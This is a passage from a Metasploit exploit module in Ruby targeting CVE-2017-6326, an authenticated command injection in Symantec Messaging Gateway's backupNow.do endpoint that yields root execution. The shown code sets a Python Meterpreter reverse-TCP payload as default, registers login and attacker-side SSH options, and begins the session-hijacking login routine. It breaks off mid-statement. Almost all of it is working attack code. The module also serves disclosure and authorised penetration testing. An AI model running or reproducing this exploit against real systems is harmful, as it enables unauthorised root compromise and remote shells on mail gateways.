An authenticated user can execute a terminal command under the context of the web server user which is root. backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing operating system command. One of the user input is being passed to the service without proper validation. That cause an command injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal command. Thus, you need to configure your own SSH service and set the required parameter during module usage. This module was tested against Symantec Messaging Gateway 10.6.2-7. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mehmet Ince ' # author & msf module ], 'References' => [ ['URL', 'https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/'], ['CVE', '2017-6326'] ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443, 'Payload' => 'python/meterpreter/reverse_tcp' }, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'Targets' => [[ 'Automatic', { }]], 'Privileged' => true, 'DisclosureDate' => "Apr 26 2017", 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(443), OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'The password to login with']), OptString.new('SSH_ADDRESS', [true, 'The ip address of your SSH service']), OptInt.new('SSH_PORT', [true, 'The port of your SSH service', 22]), OptString.new('SSH_USERNAME', [true, 'The username of your SSH service']), OptString.new('SSH_PASSWORD', [true, 'The password of your SSH service']), OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/']) ] ) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def ssh_address datastore['SSH_ADDRESS'] end def ssh_port datastore['SSH_PORT'] end def ssh_username datastore['SSH_USERNAME'] end def ssh_password datastore['SSH_PASSWORD'] end def auth print_status("Performing authentication...") sid = '' last_login = '' res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do') }) if res && !res.get_cookies.empty? last_login = res.get_hidden_inputs.first['lastlogin'] || '' sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || '' else fail_with(Failure::Unknown, "Didn't get cookie-set header from response.") end cookie = '' # Performing authentication res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'), 'headers' => { 'Referer' => "https://#{peer}/brightmail/viewLogin.do", 'Connection' => 'keep-alive' }, 'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}", 'vars_post' => { 'lastlogin' => last_login, 'userLocale' => '', 'lang' => 'en_US', 'username' => username, 'password' => password, 'loginBtn' => 'Login' } }) if res &&res.body =~ /Logged in/ cookie = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] print_good("Awesome..!
